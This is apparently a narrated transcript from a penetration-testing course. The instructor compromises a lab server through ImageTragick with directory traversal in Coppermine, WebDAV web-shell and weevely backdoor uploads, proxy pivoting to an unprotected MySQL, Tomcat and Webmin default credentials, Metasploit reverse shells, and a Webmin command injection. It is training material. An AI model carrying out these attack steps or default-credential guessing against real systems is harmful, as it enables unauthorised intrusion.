And so we've got here interception is set to on.
So I've set this to on.
And I'm actually using a plugin called Foxy Proxy which
allows me to quickly turn on and off my proxy,
and you might find that it's useful for your purposes
as well.
So using Foxy Proxy we can turn the proxy on and off
very quickly.
Now if I hit Return you can see that the proxy
is intercepted my request.
I can actually see that it's made a request to a Firefox
portal annoyingly.
And then it should also have tried to make a request
and it's now reporting an error because I'm
doing man in the middle against that website.
And if I was to just load this here
we can see now that it's made a get request.
It's trying to connect to that server
and it's sending that Coppermine data, sending my session cookie
information up to the server.
And I'm going to turn my intercept off.
I'm going to make my font size here a little different.
In fact, I think it's alright for the moment.
What we can see here now is if I go to this Hacker House
board, what I'm going to do is I'm actually upload a file.
So I'm going to go OK, I want to upload a file.
And the file I'm going to upload is a exploit
that we had in our Hacker House directory.
We have there the image tragick dot JPEG.
So I'm uploading that image tragick
dot JPEG file to the server.
And if I hit Continue here it's going
to say OK, ready to upload.
And the next thing it says one upload was successful.
Now says I can add the file to an album.
So I say OK its uploaded the file
and it now says it's ready to store in an album.
So it's important to understand now the file has
been overloaded to the server and it's stored somewhere
on the server.
I'm now going to try and add it to the album
and I'm going to put evil file title, the description is evil,
and then I'm going to put keywords axis of
and then I'll click continue.
And we can see the previous file could not be placed,
but you have successfully placed all the files.
And what's happened here is the file was uploaded to the server
but due to errors due to that file
not being a valid image or some other reason
it couldn't be added to an album.
So the server has not been able to add it.
But it has already uploaded it and stored it
on the server, which is really important for us,
because we need to be able to store that image somewhere
so we can get image tragick to process it.
And in fact, while we were making this module
we found other vulnerabilities in Coppermine, one of which
I'll demo now.
To exploit this bug we had to leverage a directory traversal
inside of Coppermine.
So we had to find a zero day to trigger this into a code
execution to be able to leverage this board through image
tragick.
So if you were to go into here and say let's try, look at this
find them on edit files, you can see here
that we've got the ability to edit this file with a function
called crop and rotate.
And if you click crop and rotate what you'll see
is you can actually save a file as a thumbnail
and change the functions of the file you actually
edit that picture.
And I'll actually be using image magic at the backend.
So if I was to click save as thumbnail here,
what we can see now is the application is made a request,
it's made a post to the picture editor.
And it sent out these various parameters
that it's now going to do, including new image and image
dir that we can use.
We can tamper with and try to get it to do other things.
And I'm going to tamper with it using a directory traversal
string.
In particular one of the strings I'm
going to use is this dot dot slash.
But I'm going to go and look at here albums edit,
so new predictable path is new image.
We're going to change this now and we're
going to do dot dot slash dot dot slash because we
need to go down 2 directories.
We can use this directory traversal vulnerability
and if you want to know more details about that directory
traversal vulnerability, if you search for Coppermine
you'll find an advisory we wrote for this attack.
But this is why we wrote it so that we
could do dot dot slash dot dot slash, leverage this directory
traversal, and then tell it a predictable path.
And so wherever we uploaded a file to the server
it was stored under album's user pics
and then the user ID of the user who just uploaded it.
And in this instance, it's 1 0 0 0 1 because it starts at 1 0
0 1 for the admin user and then 2 and 3 and so on and so forth.
But because this image would be stored in a predictable path,
I now have a file called imagetragick.jpeg in
that folder albums userpics 1001 image tragickk there.
So what I want to do, is I'm going to now instead of telling
the server to process that Spider Man
image I'm telling it to process the image tragick
image I've just uploaded.
And I'm using it directory traversal vulnerability
to make the server do that.
And then when I do that forward attempt there,
we can see that the response has come back
it's now doing some other thumbnails successfully saved.
And if you were to go into our listener over here,
you can see it's been listening on port 80.
I wouldn't actually get any connection back
that time around because it should
have been listening on port 8080 and that wouldn't have worked.
So we'll have to try it again.
We'll just change our image tragick file name.
This time we'll change it to image tragick, change the port,
make sure that we're connecting to the right ports.
And then I'll repeat that same exercise again.
So we'll close this thumb nail here.
And then we'll go back in and we'll do interception again.
Turn our interception off actually.
I'm going to load up the file, upload the file to the server.
uploading the image tragick file and then I'm clicking Continue.
And here we can see I've got image tragick files being
uploaded successfully.
I then try to process it and if I was to just go to that server
and go to albums slash userpics slash
albums slash userpics slash 1001 slash image tragick dot JPEG.
What you should see is it can't contain that file
but it's actually stored it in a predictable path location.
So if I was to then download that file from the server
we should see--
I'll just do it from HTTP--
if I was to open that files downladed from the server,
we can see it's downloaded and uploaded
that that file but it's the same one that we uploaded earlier.
So I want to call my file name something else.
I'm going to call it exploit dot JPEG instead,
which is not very discrete way of calling your exploit indeed
on a server, but that's what I'm calling it.
So I'm going to upload a file again, try again,
upload a file, and then try and upload
my file exploit dot JPEG.
I'm going to try and place it in that MEMES folder as well.
And I'll just click continue there.
It says it couldn't place that file.
So now what I'm going to do is I'm going to go back.
I'm going to go to this rainbow dash image
and I'm going to swap that file out,
knowing that that file will be stored at that same path
that we mentioned before.
Albums slash userpics slash 1001 but this time it'll
be stored as exploit dot JPEG.
So our image will be stored on the server as exploit dot
JPEG and not path.
Now I'm going to use a directory traversal cause image
tragick to process that image and then
hopefully get our command shell back in this server over here
on port 443.
Check our exploit make sure we've
got the right hostname, the right port.
It's got our command injection set in there.
What I would do is I'm going to click my crop
and rotate function.
Crop and rotate this image of a pony trying science.
So here we can see crop editor trying to edit that picture.
Allow it to load the editing function.
There we go.
So I've got that crop and rotate capability there.
So I'm going to intercept on.
So this function of the website here,
I'm going to click save as thumbnail.
But again when it's actually trying to save the thumbnail,
I'm going to go down here.
I'm going to change the arguments,
I'm going to tamper with those parameters.
And instead of taking science I'm going to tell it to do dot
dot slash dot dot slash make it go down 2 directories
because it's in the albums edit or some other directory and get
down to /albums/userpics /1001/exploit.jpg.
And I'm going to allow that to go on from the server,
turn my intercept off.
And I can see here now that I click save as thumbnail,
the web application appears to be frozen.
And if I go back to my connection terminal
now you can see I've been able to exploit that command
injection and gain access command level
access to the server.
And again once I've got my command shell
I would do my pseudo teletype interface spawn/bin/bash.
And then open the teletype and give myself job control
and then I'll source my profile.
And I now have an effective shell
similar to if I had SSHed or logged onto that server.
And again we know that this system
is vulnerable to the Dirty COW exploit which is still hidden
inside of our temp folder.
So stand back when trying science.
So that's an example of image tragick
and you would look for that wherever you could
load an image to a website.
Whenever you can upload an image to a website and then
the image on the website is edited.
So if it's resized, if it shrunk.
So typically if you can upload a profile photo
you might find command injections in the way
that they monitor and change those images around.
So image tragick a command injection vulnerability
that's commonly seen in--
and that's how to exploit it under a Coppermine.
Coppermine's a very widely used package for sharing photos,
for celebrity photos, and in fact you
could probably find systems out there configured
to exploit in such a way.
Because there are millions upon millions of them out there.
So that kind of system there you can see is maybe hundreds
of thousands or something, maybe millions anymore,
but image tragick .jpeg, just to clarify that point.
And so we've got there we've got our shell,
we've got some limited access.
What we can do now, go back to our web port scans,
look at our text file we can see it's
got much more information out of it here.
And we also saw earlier on we saw that presence of WebDAV.
And in fact, if we look at our Nmap output,
it appears that Nmap has somehow got some file
listing from that server by probing those web ports.
So I'm actually going to try and use the WebDAV service
by connecting to the surf with a tool called cadaver.
And cadaver here you can see, when
I've run cadaver it's got dav colon and exclamation mark.
The exclamation mark says it's not connected to anything.
If I was to say open and give it the IP address of the server I
want to open, you can see now the exclamation mark
is now changed to a slash.
And if I type LS, I can actually list the files on that server.
And the reason is because this is a WebDAV instance which
appears to be misconfigured.
So I've actually connected to that application
and I can now browse the files that are present on there
and actually access files and content and data.
So I can actually look in that private directory
and it's still telling me I need a username and password.
So I can't get into the private directory through WebDAV
but I can however, access files and servers and access download
things.
So I could download, say the configuration file, and then
I can have a look at this config dot PHP file, things like that.
So I can use cadaver to upload files
onto a web server, maybe interact
with files on a web server.
When it's got WebDAV enabled.
And you could do this under Microsoft Windows
just simply by doing net use and the website address as well.
And that would allow you to try and use WebDAV
from Windows platform, because WebDAV
that is built into so many operating systems these days.
It's such a very popular way of doing things.
You could use WebDAV to transfer files, upload and download
and interact with files on a system.
So we've got cadaver here, we've got the IP address,
we've connected to this server, we can list files on there.
So the next thing I guess we want to do
is, can we upload files.
So I would upload a file say test dot PHP.
And we're using test dot PHP because it's
a PHP application that we're looking at, we've seen PHP.
So I'm going to upload test dot PHP.
I'm going to put test dot PHP on the server,
and then I'm going to go to the server
and I'm going to visit that test dot PHP page
and see what information I get.
And you can see here test dot PHP has now actually run
the code that I entered into that test dot
PHP file because I can upload files onto the server using
this WebDAV technology.
I can also then upload a script that will run on the server.
So I can upload my own program, run it on the server.
And obviously I could get it to do things like very basic test
dot PHP, change my test dot PHP file to do something like
system system colon $_GET command, something like that.
And you could then try and actually upload test dot PHP.
So if I do port test dot PHP on the server there.
And then I go to test dot PHP and then do command equals ID.
The server will hopefully be running those commands
and give me some information.
We can see now I've got a very basic way of running commands
on the server through the use of PHP.
All I'll do is I'll delete that test dot PHP
because we mentioned before we would
need some exploits, some other tools.
So I'm going to use a PHP shell now.
I'm going to use a tool called weevely.
Weevely is a PHP shell it, effectively
generates obfuscated PHP file that acts as an agent,
and then gives you a kind of backdoor
to interact further with a remote system.
So if I was to do weevely/root/hackerhouse
to-- generate first, sorry, weevely generate.
First thing I'm going to do is going
to generate the weevely file.
I'm going to call my password, I'm
going to put h4x0r as the password.
And then I'm going to put path I'm going to do
/root/hacker.house and then I'm going to put the file
backdoor.PHP.
Then I'm going to connect to that server with cadaver
and upload that backdoor dot PHP file Upload backdoor.PHP.
Port backdoor.PHP.
Obviously not a very clever name for a backdoor backdoor.PHP
but I'm just being very Chinese about it lately.
So if I was to do /backdoor.PHP, you can now see that I've got
a backdoor uploaded onto the server.
And if I was to supply weevely with the URL
that I have set with my back door file
and give it the password of h4x0r, what would happen now
is I can actually connect to that remote system
and weevely will give me a kind of pseudo shell.
It's not really a proper shell, it's actually running in PHP.
So if you tried to do privilege escalation
attacks and other things in here you'd
likely find they wouldn't work.
You need to then use a Netcat listener or Netcat
and actually make a proper shell on the server.
This is just a pseudo shell it's not really a shell,
but it looks like and acts and behaves like one.
But one of the things that can do
is while you've got dot help, you
can actually use it to do things like make that server
do a port scan, make it do run commands for you,
make a backdoor for a shell for you
so you can actually use a proper shell.
And you can do things like upload and download files.
So using Weevely we've now got a way of interacting
with that server by uploading our little backdoor
dot PHP file.
We can now come and go into that system using that backdoor
and access it as we want.
So that's just an example of Weevely.
Another example of some of the other elements
you might find in here include Weevely and various commands
that it uses.
So we've done a number of probes against our system
we just exploited WebDAV.
Now what I'm going to do is potentially
move away from the port 80 and 443 that we looked at
and we'll now explore some of these other ports
that we found in that host.
I'm going to do xsltproc.
I'm going to convert that web dot XML file
and then convert it into a HTML file.
And I'm going to open it up in my browser
so that I can actually see a little bit of a human readable
output now, see what was in that port scan.
So file colon slash slash root hackerhouse slash web dot HTML.
So I've now got my human readable table.
And again we can see some of the output that came from Nmap,
we could see that there was WebDAV technology was enabled
and we found inadvertent exposure of WebDAV.
And what you often find is when you
see these mass displacements, when
you see a hacker who gone and defaced
like 5,000 websites or something,
he's probably just found that he can scan the web for misuse
a common file upload attack and they've just
gone to mass defaced using the same attack as many systems
as they could at once.
qdos [INAUDIBLE].
So there you see a hacker house photo board,
you can see the inside of that.
And we can see on there an SSL certificate, got some SSL
certificate information.
But also some of these other ports we've got
open we saw port 3128, 8080, and port 1000.
So let's go and have a look at 3128.
Let's set our Netcat to 3128.
Let's see what this port is here.
Again, you could send out manual probes,
you could look at our outputs, but we actually
know that it's a squid proxy from our XML file here.
It even tells us that it's squid version 3.1.18.
So if we were to browse to that web page in a browser
and just see what we get when we respond to it, we see 3128.
We can see the requested URL couldn't be found,
it seems that it is indeed a squid proxy service.
So when you've got a squid proxy service
you can actually try and use it for connecting through.
You connect to it and just use the connect verb,
but we can also use it with a tool called
proxy chains to actually conduct scans and things through it.
So we would copy from et cetera proxy
chains to the local directory and then
the bottom of this file here, it gives you
an example of how you can give different proxies.
So if I wanted to hide behind 7 proxies I would
put a proxy in my list here, I would do, let's say socks 4
and then I'll put 192.168.56.3 and then it's on port 3128.
So let's just see, does proxy chains work.
I'll use proxy chains with that proxy
and I'll tell it to do a port scan of itself on port 8080
just to see what it does.
So you can see here the proxy chains hasn't actually
done the proxy chains because it needs
to do minus ST. If you don't do a full 3 way
handshake proxy chains won't use it.
But you can see when proxy chains
is in use because you can actually see
the chain that's being sent.
And here you can see a S chain is being sent,
it's trying to connect to that service on 3128.
And then it's trying to use that proxy service
to connect to 192--
the same server-- and see whether it can connect
through that to that port.
And it actually says it's closed,
and that's possibly because it's not a socks 4 proxy it may well
be a socks 5 or a HTTP proxy.
So I'm going to put HTTP and see if that makes it any better.
And you can see here now that HTTP proxy has actually
been able to scan it.
And I can scan for 8080 or 8081 and it
can show me that actually those ports are alive or closed.
So I can use proxy chains to chain those proxies together
and open my port scans from some remote distance computer.
And that's how you hide behind the 7 proxies
by chaining proxies together and then
doing your scans through the proxy chains.
So you could actually ports scan that computer
from the perspective of itself and you
would see all of the proxy chains output and all
the various information.
And indeed there we can see that it's
scanning 192.168 like that.
I can maybe try and tell it to scan itself and see
if it does that.
And you can see you've got again it'll scan itself,
so we can see it's got MySQL running
on the local server which we could actually connect to
through that proxy chains and try to actually connect
into that MySQL service.
So if I was to do something like proxy chains MySQL minus
H127.00 minus U root and try to connect through H like that.
You can see here now that I've used proxy chains to connect
into the local host as well on the MySQL service
and it wasn't indeed password protected.
So I can now chain and gain access
to the Coppermine database as well
by abusing a proxy that wasn't protecting
against using the local host.
So just if you find an open proxy
it means that you might even be able to see some extra hosts
and services by scanning the local computer.
And in this case the root user for MySQL database
had no password, so we could indeed also access the database
through the proxy.
So important things to know.
Also you've got the port 1000 so we
could do search sploit we could look for vulnerabilities
in squid proxy itself.
We've got ports 8080 and port 10000.
So let's have a look at port 8080.
We can't support 8080 we find absolutely nothing there.
So what we would do then for port 8080--
and I'll come out with my Netcat listener from image tragick--
is again we've got now 8080.
So again begin the same process, I'd connect to that server
just like we did on the ports 80 and do
the same get requests try to enumerate the same information
out of the server.
Use things like DirBuster, I'd use DirBuster
against the same service port.
Try and expose new content.
Doing that same process that we've just done,
trying to enumerate information try and learn
directory structure.
Here you can see I'm learning things like there's host
manager or there's a manager page.
So I'm going to go to slash manager.
And in fact what we're learning here
is that this is Tomcat, Apache Tomcat 6.0.35.
And we're seeing you know all the things happening
you know manager deploy manager slash install.
So there's various things on here slash manager slash
HTML that maybe allow me to manage that Tomcat
instance again.
And if we think back to our theory
remember Tomcat is a way of running
Java servlets Java applets, running these Java
apps in a container on a server and it has some management
interfaces.
So we're now going to look at some of the attacks
that we could do against Tomcat.
Simply running DirBuster will expose a number
of interesting links perhaps.
And also you could do Nikto again
against that server on that port.
Try and find out what information came back
from Nikto, see if it gave you additional things.
So knowing that we've got Tomcat,
one of the things I'm going to do now
is I'm going to use Metasplot.
Metasploit has a number of modules for attacking Tomcat
instances which are really useful for us.
So we're going to use some of those.
So here we can see the Tomcat again
we've got default servlet pages.
So if we were to go to 192.168.56.3 slash examples
slash servlets slash index.
So 192.168.56.3.8080, so we can browse to the example
servlets that we found with Nikto.
We can actually see that these are common servlets deployed
with Tomcat by default. So there's
a number of common things that Nikto
has found that indicate this is a Tomcat manager, password
protected, service status interfaces and various things
that we could interact with.
So going back to our Metasploit session,
we can now do a search for Tomcat.
And we could look through all of the various Tomcat modules
that Metasploit supports.
Some of these do common tasks or problems for us
that we might want to solve.
So we could do things like Tomcat application manager
login, or Tomcat user enumeration for instance,
and I'm going to try and use the Tomcat manager login
and see if I can actually just brute force or guess user names
and passwords to Tomcat.
And it's actually just designed to see
if it can log into the Tomcat instance
for you using some common Tomcat user names and passwords that
are always found or very commonly set up.
And this is because Tomcat had typically by default
would ship with some of these common user names.
So you would see things like J2 deployer
Tomcat secret, admin vagrant admin
admin, various other things that you
might find that allow you to do these default passwords
and you'd find some others in there as well.
So Tomcat Tomcat, admin admin, Tomcat secret, Tomcat secret,
Tomcat Tomcat stuff like that might get you
into a Tomcat instance.
So if I was to do show options set my RHOSTs,
make sure I'm specifying the right target host.
If I was to run exploit against that,
it would use these common defaults see whether or not
you can actually log in using those defaults
and whether or not they have the right right.
So you can see here it's actually successfully logged
in with admin admin.
So if we go back to that manager interface
that we saw and we try and we saw that username password
field admin admin, and you laughed, but even
vulnerabilities like this have been known
to impact on various websites.
Because it's just a common mistake,
people just make mistakes and it results in you
know these kinds of situations.
So here we can see you know I've got access
to a management portal.
I could, for instance, stop the examples module.
And if we now go back to our servlet examples
and try to load that page again, you can see that in fact
that these modules should have in fact start
if I try to execute them.
It says 404, they've not been found.
They don't exist anymore, so they've actually
removed them from the server.
So you can actually just stop application start applications,
you see here it says list applications,
and all you could do here is you've got a little box that
says deploy application.
So you could actually create a Java program
and zip it into a WAR file, upload it to that server click
deploy, and then get that code to run and get your connection
back from the server.
And doing that process manually should be done,
you should give it a go as an exercise.
But also as well, if you look in Metasploit,
Metasploit has taken the job of doing that process for you.
So they've made an exploit that just basically simplifies
that process.
And much like we had to exploit image tragick manually,
when we exploited it manually we could then write a script
to allow everybody else to exploit it much more easily.
And in fact that might be a good exercise for you to try and do,
to write an exploit for that image tragick situation.
So there we've got exploit slash multi slash
HTTP, Tomcat manager deploy, Tomcat manager upload, these
are different exploits that we can use to upload a Java
servelet onto the serlvet and a Java applet
in the various servlets to then interact
with that remote system.
So I'll set the RHOST to 192.168.52.3
and I will specify HTTP password as admin
and set HTTP username as admin as well.
If I was to do show options set RPORT 8080, show payloads,
I can now try to run these payloads against the server.
And I'll do set Java slash shell,
again, remember reverse shell this time.
Set payload sorry, Java slash shell reverse payload, show
options.
Make sure I set my LHOST and my port the same.
I'm not going to bother with changing the port this time
around, I'm just going to leave it as the default.
And I run this exploit and we can see here
now that what it's actually done is it's connected
to that server, logged in with admin admin uploaded a dot
WAR file.
And a WAR file is just a zip file
packaged with various servlets.
And in fact it's packaged with a dot JSP
file that then allows you to run a command and gain
access to the server.
And what's interesting is we're now running as the Tomcat user.
So we're not just running is the WWWdata user as we have before.
We're now running into different permissions.
So we actually have a Tomcat user now as well.
So that's why you shouldn't just give up
when you find one way in.
You might find that exploiting another vulnerability
gives you access to a different set of users,
and you might need more than one or two users
to change together to get root.
So it's important to make sure that you always
check for other bugs once you found one way in.
So looking through we see there we've got 8080,
we can see there's various information for the Tomcat
manager service.
You can do all that process manually by hand.
And there was one more demonstrated there as well
which was we saw port 1000.
And last port says is a bad request
and we can open this port 1000, and we can investigate
what's on port 1000.
And again what we'll see here to confirm this request,
you would find that it's a Webmin interface, very
popular in North Korea for administering their servers
and indeed, been vulnerable to a large number of vulnerabilities
is in the past as well.
So here we can see log into Webmin
and must enter a username and password
to log into the Webmin server.
So there we can supply usernames and passwords.
And what I would probably do again
is try some default common usernames and passwords,
try a bit of password guessing and indeed, we've
been able to get access with admin admin again.
I want you to really get in the habit,
whenever you see a password box I want you to try admin
and I want you to try admin as the password.
And I want you to try helpdesk helpdesk, operator operator,
support support, technician technician, engineer engineer,
networks networks, firewall firewall, things like that
because--
Oracle Oracle, MySQL MySQL, people
often set the same username the same password and forget.
So here you've got all others file manager
you've got their system, disk and network file systems,
file system backup.
Have these various capabilities here, we can now do backups.
And what we could actually do is have a look through,
see is there any of the exploits maybe we could use
and indeed, there is a command execution in a Webmin module.
In Webmin 1.5.80, so I'll have to find out what
version of Webmin we are using.
If we look at Webmin readme we can see here
the non-production web content.
This should always be deleted from production web servers.
We can see it says 1.5.80.
Perfect it's the right one.
So does it have the ability to do file slash so dot CGI.
Indeed it does.
It says here failed to open, no such file directory.
So here we know we can actually try to execute commands
through this instance of Webmin due to a command injection
vulnerability in the CGI.
And typically Webmin will be running as the root privileges.
And indeed we've had former students now
who've found numerous ways to do this
once you post all forms to Webmin, leveraging
it to execute commands is usually trivial.
So if I was to do show options, do set our host,
search Webmin sorry.
Set RHOST 192.168.56.3.
I'm going to use this Webmin show CGI exploits.
Use, edit, paste, show options, set RHOST,
and then do set username.
Again I'll set the default username of username.
Set the default password admin.
Show options, show payloads.
I need to select a payload set payloads
I'm going to do command Unix reverse Python,
no Perl, show options.
So I've got my options set my LHOST again.
Set my LPORT to 443.
If I was to run my exploit you can see here
that it has attempted to authenticate,
it attempted to execute the payload,
and the payload was successful but I didn't get the response
back I was looking for.
And that's possibly because it doesn't work with the Python,
it doesn't work with Perl.
So let's try it again with Python,
this time you can see I've got the command shell back.
And this time we've been given root privileges
through exploiting a command injection
vulnerability in Webmin.
So again it's the same process.
And you could look with Wireshark,
you could actually start with Wireshark.
Look at the payload to that exploit
and try to recreate that manually
with Netcat or a scripting language like Python.
So that's how command injection various different kinds
of command injection attacks work,
how to misuse proxies to scan internal hosts
and bypass security controls, perimeter controls,
doing various malicious things, enumerating content.
I'm just going to check and make sure we've
covered all of the open ports, we've
got everything we wanted to cover off there.
We've done the web server, the Webmin service.
We've done all of the proxy services
and all of the websites.
So that concludes hands on hacking practical module
for the web server.
For the exercises for this module, what I want you to do
is I want you to repeat some of this demonstration work.
I want you to try and identify those exploits.
In particular, I need you to breach the private directory.
Try and find other hidden areas, and try and exploit
some of those bugs, try and misuse a proxy to try
and gain access to that server.
Try and elevate privileges, make use of a privilege escalation
attack like Dirty COW and then we
will move on to the next module.
So I want you to repeat some of those steps
that I've just done there.
Understand how those attacks work.
And perhaps as an exercise for the more daring of you,
you could perhaps trying to write an image tragick
exploits using the scripting language to try and exploit
that server.
So that concludes this module and I look forward
to seeing you in the next module.